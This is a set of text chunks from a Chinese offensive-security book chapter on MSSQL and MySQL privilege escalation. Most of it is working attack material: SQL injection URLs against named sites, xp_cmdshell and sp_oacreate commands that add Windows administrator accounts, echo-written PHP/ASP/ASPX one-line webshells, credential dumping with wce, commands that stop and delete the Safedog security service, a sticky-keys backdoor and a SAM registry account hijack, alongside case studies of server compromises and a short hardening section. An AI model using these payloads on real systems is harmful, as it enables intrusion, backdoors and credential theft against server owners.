    {"text": "4.4 SQL Server 2000 提权 SQL Server 2000 提权有多种方法，例如通过 SQLTOOLS 查询工具进行提权、通过 SQL 查询分 析器进行提权、通过 SQL 注入点进行手工提权、通过 Pangolin 等 SQL 注入工具进行提权。 在本节 中主要介绍如何通过查询来提权，进行提权的前提是当前使用的数据库账号是 sysadmin 权限（相当 于 sa 权限）。 4.4.1 SQL 版本号查询 在针对 MSSQL 进行提权时，需要了解 SQL 的版本号。"},
    {"text": "select serverproperty('productversion'),serverproperty('productlevel'), serverproperty('edition'); select @@version; 2．各个版本对应信息 （1）SQL Server 2000 版本号查询结果 2000.80.194.0 RTM (Release to Manufacturing) 2000.80.384.0 SQL Server 2000 SP1 2000.80.534.0 SQL Server 2000 SP2 2000.80.760.0 SQL Server 2000 SP3/SP3a 2000.8.00.2039 SQL Server 2000 SP4 （2）SQL Server 2005 版本号查询结果 2005.90.1399 RTM (Release to Manufacturing) 2005.90.2047 SQL Server 2005 SP1 2005.90.3042 SQL Server 2005 SP2 2005.90.4035 SQL Server 2005 SP3 2005.90.5000 SQL Server 2005 SP4 （3）SQL Server 2008 版本号查询结果 10.0.1600.22 RTM 10.00.2531.00 SQL Server 2008 SP1 10.00.4000.00 SQL Server 2008 SP2 10.50.1600.1 SQL Server 2008 R2 (RTM) 233 网络攻防实战研究：漏洞利用与提权 4.4.2 通过查询分析获取管理员权限 1．配置 xp_cmdshell 可用 use master EXEC sp_configure 'show advanced options', 1 GO RECONFIGURE GO EXEC sp_configure 'xp_cmdshell', 1 GO RECONFIGURE GO 2．测试 xp_cmdshell 是否可执行 测试是否有 xp_cmdshell 的权限，命令如下。"},
    {"text": "exec xp_cmdshell 'dir c:' Go 3．添加 Windows 管理员用户 （1）添加 antian365 用户，密码为 antian365 EXEC xp_cmdshell 'net user antian365 antian365 /add'; （2）将 antian365 添加到管理员组 EXEC xp_cmdshell 'net localgroup administrators antian365 /add'; （3）查看当前管理员组 EXEC xp_cmdshell 'net localgroup administrators '; 4.4.3 通过手工注入点获取管理员权限 （1）添加用户 执行如下命令，添加用户。"},
    {"text": "http://antian365.com/default.asp?id=1;use master;exec dbo.sp_addlogin user; 按“Enter”键后执行，浏览器自动补上了空格，页面依然正常显示（“20%”为空格符），添加 了一个 user 用户，现在密码为空。"},
    {"text": "http://antian365.com/default.asp?id=1;use master;exec dbo.password null,password,user; 234 第 4 章 MSSQL 漏洞利用与提权 （3）将 user 权限提升为 sa SQL Server 有 8 种固定服务器角色，分别是数据库创建者（DBCREATOR）、磁盘管理员 （DISKADMIN）、进程管理员（PROCESSADMIN）、安全管理员（SECURITYADMIN）、服务器管理 员（SEVERADMIN）、安装管理员（SETUPADMIN）、系统管理员（SYSADMIN）、大容量管理员 （BULKADMIN）。"},
    {"text": "http://antian365.com/default.asp?id=1;use master;exec dbo.sp_addsrvrolemember user,sysadmin; （4）添加用户并提升至管理员权限 http://antian365.com/default.asp?id=1;use master;exec dbo.xp_cmdshell 'net user antian365 temp /add'; http://antian365.com/default.asp?id=1;use master;exec dbo.xp_cmdshell 'net localgroup administrators antian365 /add'; 4.4.4 恢复存储过程 （1）删除和恢复 sp_addextendedproc 语句 删除 sp_addextendedproc，代码如下。"},
    {"text": "drop procedure sp_addextendedproc drop procedure sp_oacreate exec sp_dropextendedproc 'xp_cmdshell' 恢复 sp_addextendedproc，代码如下。 dbcc addextendedproc (\"sp_oacreate\",\"odsole70.dll\") dbcc addextendedproc (\"xp_cmdshell\",\"xplog70.dll\") （2）恢复 sp_oacreate 和 xp_cmdshell dbcc addextendedproc (\"sp_oacreate\",\"odsole70.dll\") dbcc addextendedproc (\"xp_cmdshell\",\"xplog70.dll\") 或者 exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll' （3）未能找到存储过程 master..xpcmdshell 的解决方法 EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' （4）无法装载 DLL xpsql70.dll 或该 DLL 所引用的某一 DLL，原因 126（找不到指定模块） sp_dropextendedproc \"xp_cmdshell\" sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' （5）无法在库 xpweb70.dll 中找到函数 xp_cmdshell，原因 127（找不到指定的程序） exec sp_dropextendedproc 'xp_cmdshell' exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' 235 网络攻防实战研究：漏洞利用与提权 （6）删除和恢复 odsole70.dll 删除 odsole70.dll，命令如下。 exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate 恢复 odsole70.dll，命令如下。 exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' （7）直接添加账户 declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe /c net user 用户名 密码 /add' declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\\windows\\system32\\cmd.exe/c net localgroup administrators 用户名 /add' （8）一些常用的 SQL 恢复语句 dbcc addextendedproc (\"sp_oacreate\",\"odsole70.dll\") dbcc addextendedproc (\"xp_cmdshell\",\"xplog70.dll\") use master exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' exec sp_addextendedproc xp_dirtree,'xpstar.dll' exec sp_addextendedproc xp_enumgroups,'xplog70.dll' exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' exec sp_addextendedproc xp_loginconfig,'xplog70.dll' exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' exec sp_addextendedproc sp_OACreate,'odsole70.dll' exec sp_addextendedproc sp_OADestroy,'odsole70.dll' exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAMethod,'odsole70.dll' exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' exec sp_addextendedproc sp_OAStop,'odsole70.dll' exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' exec sp_addextendedproc xp_regenumvalues,'xpstar.dll' exec sp_addextendedproc xp_regread,'xpstar.dll' exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' exec sp_addextendedproc xp_regwrite,'xpstar.dll' exec sp_addextendedproc xp_availablemedia,'xpstar.dll' （9）恢复 xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjectswhere xtype='x' and name='xp_cmdshell' 236 第 4 章 MSSQL 漏洞利用与提权 4.4.5 SQL server 提权防范方法 删除所有危险扩展，代码如下。 DROP PROCEDURE sp_makewebtask exec master..sp_dropextendedproc xp_cmdshell exec master..sp_dropextendedproc xp_dirtree exec master..sp_dropextendedproc xp_fileexist exec master..sp_dropextendedproc xp_terminate_process exec master..sp_dropextendedproc sp_oamethod exec master..sp_dropextendedproc sp_oacreate exec master..sp_dropextendedproc xp_regaddmultistring exec master..sp_dropextendedproc xp_regdeletekey exec master..sp_dropextendedproc xp_regdeletevalue exec master..sp_dropextendedproc xp_regenumkeys exec master..sp_dropextendedproc xp_regenumvalues exec master..sp_dropextendedproc sp_add_job exec master..sp_dropextendedproc sp_addtask exec master..sp_dropextendedproc xp_regread exec master..sp_dropextendedproc xp_regwrite exec master..sp_dropextendedproc xp_readwebtask exec master..sp_dropextendedproc xp_makewebtask exec master..sp_dropextendedproc xp_regremovemultistring exec master..sp_dropextendedproc sp_OACreate DROP PROCEDURE sp_addextendedproc 修补 sa 弱口令，命令如下。 exec sp_password NULL,'新密码','sa' 此外，还应加强服务器配置的安全性。"},
    {"text": "只要获取了 sa 口令，重新添加存储过程，即可像在 MSSQL 2000 Server 中一样提权。 SQL Server 2005 提权的思路很简单，需要获取数据库的用户名和密码，然后通过恢复存储过程执行命令，下面 是详细的提权过程。"},
    {"text": "4.5.1 查看数据库连接文件 通过 WebShell 查看网站的源代码，如图 4-24 所示，通过分析首页文件 default.asp，获知数据库 连接文件为 openconnection.asp。 技巧 数据库连接文件的名称一般为 conn.asp、openconnectiong.asp、connection.asp，这些文件多位于 网站根目录或者 includes 等文件夹下，通过查看首页代码大都能准确找到数据库连接文件。 237 网络攻防实战研究：漏洞利用与提权 图 4-24 分析首页文件 4.5.2 获取数据库用户和密码 找到数据库连接文件 openconnection.asp，将其下载到本地并打开，如图 4-25 所示，知道数据库 用户为“sa”，密码为“Tp*****234”，将其复制出来留待后面使用。 图 4-25 获取数据库用户密码 4.5.3 数据库连接设置 在连接 SQL Server 2005 之前，需要对数据库进行设置。"},
    {"text": "在 WebShell 中单击“Database”，如图 4-26 所示，设置完毕单击“Go”按钮进行数据库连接测试。 4.5.4 查看连接信息 如果数据库用户名、密码及数据库名称均设置正确，连接成功后会显示相应的信息。"},
    {"text": "例如， “MSSQL Version : Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) Nov 24 2008 13:01:59 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 6.0 (Build 6001: Service Pack 1) 及“SrvRoleMember : sa”，表明数据库版本为“Microsoft SQL Server 2005 - 9.00.4035.00”， 数据库用户角色是“sa”，如图 4-27 所示。"},
    {"text": "238 第 4 章 MSSQL 漏洞利用与提权 图 4-26 设置 MSSQL 连接 图 4-27 获取数据库基本信息 4.5.5 添加 xp_cmdshell 存储过程 直接在“Run SQL”中输入“Exec sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ”脚本，添加 xp_cmdshell 存储过程（也可以通过 WebShell 进行）。 在“SQLExec”下拉列表中选择第三个命令选项“Add xp_cmdshell(SQL2005)”，如 图 4-28 所示。 图 4-28 添加 xp_cmdshell 存储过程 239 网络攻防实战研究：漏洞利用与提权 4.5.6 添加用户 在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell 会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，修改其添加用户命令，即“Exec master.dbo.xp_cmdshell 'net user temp Wantian365.com!* /add '”，将添加用户“temp”，密码为“Wantian365.com!*”，如图 4-29 所示， 单击“Query”按钮添加用户。 图 4-29 添加用户 4.5.7 将普通用户添加到管理员组 在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，然后将 temp 用户添加到管理员组， 即运行命令“Exec master.dbo.xp_cmdshell 'net localgroup administrators temp /add '”，添加成功后如 图 4-30 所示。 图 4-30 添加 temp 用户为管理员 240 第 4 章 MSSQL 漏洞利用与提权 4.5.8 通过 XP_cmdshell exec 查看系统用户 在“SQLExec”下拉列表中选择“XP_cmdshell exec”选项，WebShell 会自动给出脚本“Exec master.dbo.xp_cmdshell 'net user'”，如图 4-31 所示，单击“Query”按钮查询系统用户。"},
    {"text": "图 4-31 查看用户 图 4-32 查看系统用户 4.5.9 远程终端登录 打开远程终端连接登录，输入 IP 地址及刚才添加的用户名和密码，如图 4-33 所示，成功进入操 作系统，操作系统为 Windows Server 2008。"},
    {"text": "4.5.10 总结 通过 sa 权限在 SQL Server 2005 中提权相对比较简单，这也是将 WebShell 权限提升到系统级别 241 网络攻防实战研究：漏洞利用与提权 的一种思路。"},
    {"text": "在 SQL Server 2005 及以下版本中，只要获取了 sa 口令，重新添加存储过程，即可提权。 SQL Server 2008 及后续版本的提权困难很多，但通过笔者的研究，还是发现了一些提权的方法和思路。 4.6.1 SQL Server 2008 提权思路 通过恢复存储过程 xp_cmdshell，可在系统中执行一些简单的命令，具体如下。"},
    {"text": "Exec sp_configure 'show advanced options',1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; 通过 SQLTOOLS 可以执行磁盘文件查看、读取文件内容等操作，获取系统敏感信息。"},
    {"text": "242 第 4 章 MSSQL 漏洞利用与提权 图 4-34 暴力破解 sa 账号及口令 4.6.3 恢复存储过程并查看和读取磁盘文件 1．通过 SQL 查询分离器连接数据库服务器 SQL 查询分离器是 SQL Server 2000 中的一个工具。"},
    {"text": "Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE; 3．执行查看磁盘文件命令 使用 SQLTOOLS 连接数据库服务器。 连接成功后，执行“dir c:\\”命令，如图 4-35 所示，可以 查看 C 盘根目录下的所有文件，通过显示的结果可以判断系统为 Windows Server 2008 以上版本。 图 4-35 查看系统 C 盘根目录下的所有文件 4．查看并读取网站配置文件 httpd.conf 通过 SQLTOOLS 中的文件管理功能，可以对 C、D、E 盘进行查看。 如图 4-36 所示，获知网站 配置文件路径“e:\\ZENTAO\\xampp\\htdocs\\conf”，选定需要查看的文件后，以“Insert”方式读取文件 内容。"},
    {"text": "图 4-36 读取网站配置文件 图 4-37 查看其他敏感文件 4.6.4 生成并获取 WebShell 1．用 echo 命令生成 WebShell 虽然 SQLTOOLS 可以读取和查看文件，但仍然感觉不方便，需要获取 WebShell 来执行进一步 的渗透。"},
    {"text": "echo ^<?php @eval($_POST[cmd]);?^>^ >e:\\ZENTAO\\xampp\\tmp\\1.php 2．复制文件到网站目录下 在 SQL Server 2008 中，由于有些目录无法直接通过 echo 命令生成文件，因此只能在一些可写 的目录下将文件生成，然后通过 copy 命令将文件复制到对应的网站目录下。 如图 4-39 所示，执行 copy 命令将文件 1.php 复制到 e:\\ZENTAO\\xampp\\zentao\\www\\目录下，命令如下。 copy e:\\ZENTAO\\xampp\\tmp\\1.php e:\\ZENTAO\\xampp\\zentao\\www\\y.php 图 4-38 用 echo 命令写入 WebShell 图 4-39 复制文件到网站目录下 244 第 4 章 MSSQL 漏洞利用与提权 3．到网站目录下查看文件 通过 SQLTOOLS 到 e:\\ZENTAO\\xampp\\zentao\\www 目录下查看是否真的成功复制了文件。"},
    {"text": "4．获取 WebShell 获取该目标的 WebShell 地址“http://59.110.*.***/zentao/y.php”， “中国菜刀”连接密码为“cmd”。 通过“中国菜刀”后门管理工具建立该记录，如图 4-41 所示，成功获取网站的 WebShell。"},
    {"text": "图 4-40 查看生成的文件 图 4-41 获取 WebShell 4.6.5 上传并获取 JSP WebShell 通过端口扫描，发现服务器开放了 8080 端口，经过测试，发生该端口运行的是 Apache。 根据 经验，可以通过直接上传 JSP 木马获取 JSP WebShell，且 JSP 权限为系统权限。 找到网站目录所在 路径“e:\\tyoaserver\\apache-tomcat-7.0.57-64\\webapps\\ty_oa”，如图 4-42 所示，上传并获取 JSP WebShell “http://59.110.*.***:8080/ty_oa/1.jsp”。 图 4-42 获取 JSP WebShell 245 网络攻防实战研究：漏洞利用与提权 4.6.6 获取系统密码并登录服务器 1．获取系统密码 将 wce64.exe 上传到服务器，通过 JSP WebShell 执行命令“wce64 -w”获取系统管理员的密码。"},
    {"text": "图 4-43 获取系统明文密码 2．登录 3389 执行命令“netstat -an | find \"3389\"”，发现服务器开放了 3389 端口，且服务器为独立 IP 地址， 但防火墙过滤了 3389 端口，外网无法直接连接。 通过 lcx 转发，直接登录服务器，如图 4-44 所示， 成功登录 3389 端口。"},
    {"text": "如果 echo 命令生成的一句话后门无法执行，可以查看对应网站的数据库， 获取后台登录密码，通过后台上传 WebShell 的 jpg 文件，然后通过 copy 命令将 jgp 文件复制为 aspx 文件，从而获取 WebShell。"},
    {"text": "echo ^<%eval request(cmd)% ^>^ >d:\\wwwroot\\ok.asp echo ^<?php @eval($_POST[cmd]);?^>^ >cmd.php echo ^<%@ Page Language=\"Jscript%\"^>^<^%eval(Request.Item[\"pass\"], \"unsafe\");%^>^ >c:\\inetpub\\wwwroot\\cmd.aspx 4.7.2 利用实例 1．通过在线 C 段查询获取网站地址 在 www.hackmakll.cn/bing.php 网站输入 IP 地址进 行旁站查询，如图 4-45 所示，获取该 IP 地址下的网站。 2．查看网站文件 （1）开启 xp_cmdshell 图 4-45 查询旁站 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- 开启 xp_cmdshell （2）查看磁盘文件 exec xp_cmdshell 'dir c:/' exec xp_cmdshell 'type c:\\iis\\sdmweb\\index.html' 如图 4-46 和图 4-47 所示，可以查看网站文件 index.html 的内容。 图 4-46 查看磁盘文件 图 4-47 通过 SQL 查询分析器查看网站文件 247 网络攻防实战研究：漏洞利用与提权 3．生成文件 在 SQL 查询器下，虽然通过 echo 命令能执行成功，但不会生成文件。"},
    {"text": "echo ^<%eval request(cmd)% ^>^ >d:\\wwwroot\\ok.asp echo ^<?php @eval($_POST[cmd]);?^>^ >cmd.php 单击“文件管理”选项，选择 c:\\Temp 目录，如图 4-49 所示，查看是否生成了文件。"},
    {"text": "图 4-48 生成文件 图 4-49 查看文件目录生成的文件 4．查看文件内容 在 SQLTOOLS 中，单击文件，然后选择“插入”方式查看文件内容，如图 4-50 所示，可以查 看刚才通过 echo 命令生成的文件的内容。"},
    {"text": "图 4-50 查看文件内容 5．复制文件 使用“copy c:\\temp\\2.asp c:\\iis\\sdmweb\\2.asp”命令将 2.asp 文件复制到 c:\\iis\\sdmweb 文件夹下， 如图 4-51 所示，文件成功生成。"},
    {"text": "248 第 4 章 MSSQL 漏洞利用与提权 图 4-51 复制文件 6．查看网站文件 用同样的方法将 2.aspx 文件复制到网站根目录下，如图 4-52 所示，虽然文件内容没有问题，但 无法成功执行命令。"},
    {"text": "图 4-52 WebShell 无法成功执行 7．通过编辑器上传 WebShell 图片文件 通过查看网站文件发现该网站中存在 kindeditor。 如图 4-53 所示，可以通过 demo.aspx 文件上传 WebShell 的图片文件。 图 4-53 上传 WebShell 图片 249 网络攻防实战研究：漏洞利用与提权 将文件 kindeditor/attached/image/20170318/20170318204859_1602.jpg 通过 SQLTOOLS 复制成 kindeditor/attached/image/20170318/20170318204859_1602.aspx，如图 4-54 所示，复制成功。 图 4-54 复制 jpg 文件为 aspx 文件 8．获取 WebShell 将地址复制到网站，如图 4-55 所示，成功获取网站的 WebShell，后续提权就不讨论了。"},
    {"text": "250 第 4 章 MSSQL 漏洞利用与提权 图 4-56 扫描网站安全漏洞 2．SQL 注入渗透测试 在 JSky 漏洞扫描结果中，选择“http://www.chinaacn.com:80/new_News.asp?num=15&cutnum=18 &GetName=hot&classid=1”所在的注入点，并使用 Pangolin 进行 SQL 注入测试，如图 4-57 所示， 获取注入点的基本信息：数据库是 MSSQL，且为 sa 权限。 图 4-57 SQL 注入测试 251 网络攻防实战研究：漏洞利用与提权 4.8.2 Windows 提权 1．直接执行 DOS 系统提权命令 在 Pangolin 注入工具中，单击“Command”工具栏，如图 4-58 所示，在“Command”文本框中 输入“net localgroup administrators”以查看所有管理员。"},
    {"text": "图 4-58 执行系统提权命令 2．获取服务器权限 操作系统为 Windows Server 2003，通过扫描发现该网站所在服务器的远程终端服务器端口为 3389。 通过新增的用户账号和密码直接登录该服务器，如图 4-59 所示，成功进入该服务器，获得服 务器权限。 图 4-59 获取服务器权限 252 第 4 章 MSSQL 漏洞利用与提权 4.8.3 信息收集及其他渗透 1．查看站点管理器 打开 Internet 信息服务器（IIS）管理器，如图 4-60 所示，可以看到该服务器上托管了多个网站， 猜测为虚拟主机托管。"},
    {"text": "图 4-60 查看其他站点的信息 2．获取 sa 账号和密码 通过 IIS 管理器获取目标站点的物理路径“D:\\china-ys\\china-ys\\wwwroot”，通过查看 connsql.asp 文件获取 SQL 数据库连接字符串配置信息，掌握 sa 账号和密码，如图 4-61 所示。"},
    {"text": "253 网络攻防实战研究：漏洞利用与提权 图 4-62 获取 SNMP 管理账号和密码对 4．获取邮箱账号和密码 在密码嗅探结果中，POP3 协议下的效果不错，有 114 条记录，如图 4-63 所示，获取了邮箱账 号和密码，以及 POP3 服务器的 IP 地址。"},
    {"text": "图 4-63 获取 POP3 邮箱账号和密码 图 4-64 测试邮件账号 254 第 4 章 MSSQL 漏洞利用与提权 4.8.4 总结与思考 由于 SQL 注入点为 sa 权限，因此，可以通过 Pangolin 注入工具直接执行 system 命令，在 获取远程终端端口后，使用添加的账号直接登录并获取服务器权限。"},
    {"text": "在主要目标无法渗透的情况下，可以渗透同网段的服务器。 在获取同网段服 务器权限的情况下，对目标服务器进行定向嗅探，有时会有意想不到的收获。"},
    {"text": "在 SQL Server 2005 中，可以在 SQL 语句中执行“EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; ”命令来恢复 xp_cmdshell 存储过程。"},
    {"text": "本例就是以 FTP 口令暴力破解为突破口，在获取网站权限后，发现数据库是 MSSQL 2005，且为 sa 权限。 4.9.1 通过扫描获取 FTP 权限 使用 HScan 扫描工具软件，成功扫描出某服务器 FTP 弱口令 ftp/ftp，直接使用 CuteFTP 成功登 录，如图 4-65 所示。 图 4-65 获取 FTP 权限 255 网络攻防实战研究：漏洞利用与提权 4.9.2 获取 WebShel 通过 FTP 客户端程序直接上传 WebShell 一句话后门，使用“中国菜刀”一句话后门进行连接， 如图 4-66 所示，成功获取 WebShell。 图 4-66 获取 WebShell 4.9.3 获取数据库账号和密码 通过“中国菜刀”管理端对网站配置文件进行查看，在其根目录 inc 下获取数据库连接文件 conn.asp，进而获取其数据库配置信息，包括数据库 IP 地址、用户和密码，如图 4-67 所示。 一般来 说，数据库连接密码会保存在根目录的 conn.asp 或者 include、inc 文件夹下，如果不在这些目录下， 可以查看 index.asp 中的文件。"},
    {"text": "图 4-67 获取数据库配置信息 256 第 4 章 MSSQL 漏洞利用与提权 4.9.4 数据库服务器直接提权 （1）连接数据库服务器 本次提权使用 SQL Exec 工具。"},
    {"text": "设置“Host”、“User”和“Pass”，单击“Connect”按钮进行连 接测试，使用“ipconfig /all”命令测试是否可以执行命令，如图 4-68 和图 4-69 所示，可以直接添加 用户。"},
    {"text": "在“Target”设置框中输入 IP 地址“220.***.***.118”，扫描 结果表明服务器开放了 21、1433、80、81、3389 端口，如图 4-70 所示。 图 4-70 扫描端口开放情况 （3）使用终端登录 3389 使用 MSTC 直接登录该服务器，如图 4-71 所示，在该服务器上发现了早期安全员对站点后门的 查杀记录及黑客添加的用户。"},
    {"text": "上传 wce 257 网络攻防实战研究：漏洞利用与提权 密码获取工具，执行“wce -w”命令直接获取曾经登录的密码，如图 4-74 所示。 图 4-71 成功登录该服务器 图 4-72 早期后门查杀记录和黑客添加的管理员账号 图 4-73 发现的黑客工具 258 第 4 章 MSSQL 漏洞利用与提权 图 4-74 通过 wce 快速获取管理员密码 4.9.5 总结与思考 在本例中，攻击者可以通过 FTP 扫描工具获取服务器 FTP 权限，再通过 FTP 上传 WebShell， 利用 WebShell 查看服务器代码并获取数据库账号等信息后进行提权。"},
    {"text": "4.10 Windows Server 2003 下 SQL Server 2005 绕过安全狗提权 在渗透过程中，对方服务器有可能安装了安全狗等防护软件，这些软件会禁止一些危险的操作， 例如添加用户到管理员组等。"},
    {"text": "4.10.2 基本信息收集 1．数据库版本确认 通过执行“select @@version”命令获取信息“Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37 Copyright (c) 1988-2005 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)”。"},
    {"text": "2．恢复存储过程 xp_cmdshell 执行以下命令恢复 xp_cmdshell，如图 4-75 所示。 EXEC sp_configure 'show advanced options', 1; RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE; 259 网络攻防实战研究：漏洞利用与提权 图 4-75 恢复存储过程 3．确认操作系统版本 执行“exec xp_cmdshell 'ver'”命令，获取信息“Microsoft Windows [版本 5.2.3790]”，显然为 Windows Server 2003。 4.10.3 添加管理员提权失败 1．查看当前用户权限 执行“exec xp_cmdshell 'whoami'”命令，获取当 前用户信息“nt authority\\system”，果然是系统权限， 如图 4-76 所示。 2．添加用户为管理员 图 4-76 查看当前用户权限 分别在查询管理器中执行如下命令。 exec xp_cmdshell 'net user king wstemp2005 /add' exec xp_cmdshell 'net localgroup administrators king /add' 如图 4-77 所示，添加用户成功。 但将用户添加到管理员组却失败了，显示信息为“发生系统错 误 5”，如图 4-78 所示，这意味着无法通过直接添加管理员提权。 图 4-77 添加用户成功 图 4-78 无法通过直接添加管理员提权 4.10.4 寻求突破 1．确认前面执行的命令是否成功 如图 4-79 所示，执行“EXEC xp_cmdshell 'net user'”命令，显示 king 用户已经添加成功，所以 无法直接添加管理页不是命令导致的。 260 第 4 章 MSSQL 漏洞利用与提权 图 4-79 查看是否是命令导致的失败 2．查看服务 执行以下命令查看服务器是否安装了安全防护软件，如图 4-80 所示，果然存在安全狗。"},
    {"text": "exec xp_cmdshell 'tasklist /svc | find \"Safe\"' 图 4-80 存在安全防护服务 3．使用 SQLTOOLS 查看 如图 4-81 所示，通过 SQLTOOLS 查看系统文件，确认系统安装了安全狗。"},
    {"text": "图 4-81 系统中安装了安全狗 4．使用 sc 命令终止安全狗运行 在 SQLTOOLS 中执行 DOS 命令比较方便。 选择 DOS 命令，依次执行以下操作来关闭防护软件。 （1）使用“net stop”命令关闭安全狗的相关服务 使用“net stop 服务名称”命令可以停止服务，但对 Safedog 的相关服务，需要添加“/y”参数。"},
    {"text": "261 网络攻防实战研究：漏洞利用与提权 net stop \"Safedog Guard Center\" /y net stop \"Safedog Update Center\" /y net stop \"SafeDogCloudHelper\" /y （2）使用 sc 命令直接删除服务 先使用 sc 命令停止 SafeDog Update Center，并配置其为禁止自动启动，再删除该服务。"},
    {"text": "删除 SafeDog Update Center 服务：sc qc \"SafeDogUpdateCenter\"。 图 4-82 停止 Safedog Update Center 服务 图 4-83 删除 SafeDog Update Center 服务 （3）重启计算机 使用“shutdown -r”命令重启计算机。"},
    {"text": "图 4-84 获取服务器权限 262 第 4 章 MSSQL 漏洞利用与提权 4.10.5 绕过安全狗的其他方法 1．vbs 法 将以下代码保存为 1.vbs，然后执行“cscript 1.vbs”命令。"},
    {"text": "Set o=CreateObject( \"Shell.Users\" ) Set z=o.create(\"user\") z.changePassword \"1qaz2WSX12\",\"\" z.setting(\"AccountType\")=3 2．shift 后门法 copy C:\\sethc.exe C:\\windows\\system32\\sethc.exe copy C:\\windows\\system32\\sethc.exe C:\\windows\\system32\\dllcache\\sethc.exe 3．for 循环添加账号法 for /l %%i in (1,1,100) do @net user temp asphxg /add&@net localgroup administrators temp /add 4．修改注册表法 administrator 的对应值是 1F4，guest 的对应值是 1F5。 ① 使用“net1 user guset 1”命令将 guest 用户的密码重置为 1，无须过问 guest 是否被禁用。 ② 执行“reg export \"HKEY_LOCAL_MACHINE \\SAM \\SAM\\ Domains \\Account\\ Users\\000001F4\" \"C:\\RECYCLER\\1.reg\"”命令，导出 administrator 的注册表值到某路径下，修改其内容，将 V 值删除， 只留 F 值，将“1F4”修改为“1F5”并保存。 ③ 执行“regedit /s C:\\RECYCLER\\1.reg”命令，导入注册表，就可以使用 guest 账号（密码为 1） 登录了。 5．直接修改管理员密码法 尽量不用这种方法，在实在没有办法的情况下才使用，命令如下。 net user administrator somepwd 4.10.6 总结 本次提权成功后，再次连接服务器，发现安全狗自动进行了修复。"},
    {"text": "263 第 5 章 MySQL 漏洞利用与提权 MySQL 数据库是目前世界上最为流行的数据库软件之一，很多流行的架构都会用到 MySQL， 例如 LAMPP（Linux+Apache+MySQL+PHP+Perl）架构。"},
    {"text": "本章着重介绍 MySQL 提权的基础知识，以及 Windows 下 MySQL 的几种提权方法，同时通过 一些案例介绍了如何利用 MySQL 进行提权。 本章主要内容 Ê MySQL 提权基础 Ê 用 MOF 方法提取 MySQL root 权限 Ê MySQL 数据库 UDF 提权 Ê 通过 MySQL 数据库反弹端口连接提权 Ê 通过 MySQL 账号社工渗透某 Linux 服务器 Ê MySQL root 口令的利用及提权 Ê 从 MySQL 口令扫描到提权 Ê MySQL 无法通过 WebShell 执行命令提权某服务器 Ê phpMyAdmin 漏洞利用与安全防范 Ê 巧用 Cain 破解 MySQL 数据库密码 Ê MySQL 数据库安全加固 5.1 MySQL 提权基础 MySQL 是一个中小型关系型数据库管理系统，由瑞典的 MySQL AB 公司开发，目前属于 Oracle 公司。"},
    {"text": "MySQL 分为商业版本（MySQL Enterprise Edition 和 MySQL Cluster CGE）和 GPL 版本（MySQL Community Edition），开发版下载 第 5 章 MySQL 漏洞利用与提权 地址为 http://dev.mysql.com/downloads/。"},
    {"text": "5.1.1 MySQL 提权必备条件 1．服务器安装了 MySQL 数据库 利用 MySQL 提权的前提就是服务器上安装了 MySQL 数据库，且 MySQL 的服务没有降权。 MySQL 数据库默认安装时会继承系统权限，并且需要获取 MySQL root 账号的密码。 2．判断 MySQL 服务运行权限 判断 MySQL 数据库服务运行权限有很多方法，这里主要介绍 3 种。 第一种方法是查看系统账 号，即使用“net user”命令查看系统当前账号，如果出现了 MySQL 这类用户，就意味着系统可能 进行了降权（一般情况下不会降权）。"},
    {"text": "图 5-1 查看 Priority 值来判断 mysqld 服务的运行权限 5.1.2 MySQL 密码获取与破解 1．获取网站数据库账号和密码 对于 CMS 系统，一定会有一个文件，用于定义数据库连接的用户和密码，示例如下。"},
    {"text": "$db['default']['hostname'] = 'localhost'; $db['default']['username'] = 'root'; $db['default']['password'] = '123456'; $db['default']['database'] = 'crm'; DedeCms 数据库的安装信息写在 data/common.inc.php 中，Discuz!的数据库安装信息写在 config/config_global_default.php、config /config_ucenter.php、config.inc.php 中。 一般数据库配置文件 会位于 config、application、conn、db 等目录下，配置文件的名称一般是 conn.asp/php/aspx/jsp 等。"},
